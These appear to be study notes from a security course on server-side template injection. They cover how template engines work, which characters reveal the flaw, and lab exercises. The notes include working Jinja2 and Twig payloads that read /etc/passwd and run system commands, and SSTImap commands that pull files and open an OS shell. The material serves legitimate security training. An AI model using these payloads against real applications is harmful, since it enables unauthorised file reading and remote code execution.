🧑‍🎤SSTI

A template engine is software that combines pre-defined templates with dynamically generated data and is often used by web applications to generate dynamic responses. An everyday use case for template engines is a website with shared headers and footers for all pages.

Popular examples of template engines are Jinja and Twig.

Usually, a template engine requires a template and a set of values to be inserted into the template.

Let's consider Jinja ->

Hello {{ name }}!

We can see the variable called name, which is replaced with a dynamic value during rendering. So name="vautia" will render ->

Hello vautia!

but we can start to imagine more complexe stuff with loops ->

{% for name in names %}
Hello {{ name }}!
{% endfor %}
Hello vautia!
Hello 21y4d!
Hello Pedant!

So our goal is to inject templating code into a template that is later rendered by the server.

Identifying SSTI

It's very similar to as an SQL injection to identify: we inject special characters with semantic meaning in template engines and observe the web application's behavior

The following chars have a high chance of breaking the template:

${{<%[%'"}}%\.

Let's imagine the follwoing web app when we enter the name "vautia"

And if we enter the string we saw earlier:

Identifying Template Engine

${7*7} is very famous, let's try it out ->

Apply what you learned in this section and identify the Template Engine used by the web application. Provide the name of the template engine as the answer.

Exploiting Jinja2

Jinja is a template engine commonly used in Python web frameworks such as Flask or Django and we will be exploiting assuming we're on Flask

Information Disclosure ->

the web application's configuration:

{{ config.items() }}

dump all available built-in functions:

{{ self.__init__.__globals__.__builtins__ }}

Local file inclusion:

{{ self.__init__.__globals__.__builtins__.open("/etc/passwd").read() }}

Remote code execution:

{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}

Exploit the SSTI vulnerability to obtain RCE and read the flag.

{{ self.__init__.__globals__.__builtins__.__import__('os').popen('ls').read() }}

Exploiting Twig

information about the current template:

{{ _self }}

the PHP web framework Symfony defines additional Twig filters. One of these filters is file_excerpt and can be used to read local files.

Local file inclusion:

{{ "/etc/passwd"|file_excerpt(1,-1) }}

For RCE we can use the PHP built-in function system. We can pass an argument to {{this function by using Twig's filter function

{{ ['id'] | filter('system') }}

We can find the syntax for the other templates on the PayloadsAllTheThings SSTI CheatSheet

SSTI Tools

We can use SSTImap to aid the SSTI exploitation process.

git clone https://github.com/vladko312/SSTImap
cd SSTImap
pip3 install -r requirements.txt
python3 sstimap.py 

And to use the tool this is the syntax:

python3 sstimap.py -u http://172.17.0.2/index.php?name=test

download a remote file to our local machine with the -D flag

python3 sstimap.py -u http://172.17.0.2/index.php?name=test -D '/etc/passwd' './passwd'

execute a system command using the -S flag

python3 sstimap.py -u http://172.17.0.2/index.php?name=test -S id

we can use --os-shell to obtain an interactive shell

python3 sstimap.py -u http://172.17.0.2/index.php?name=test --os-shell

Last updated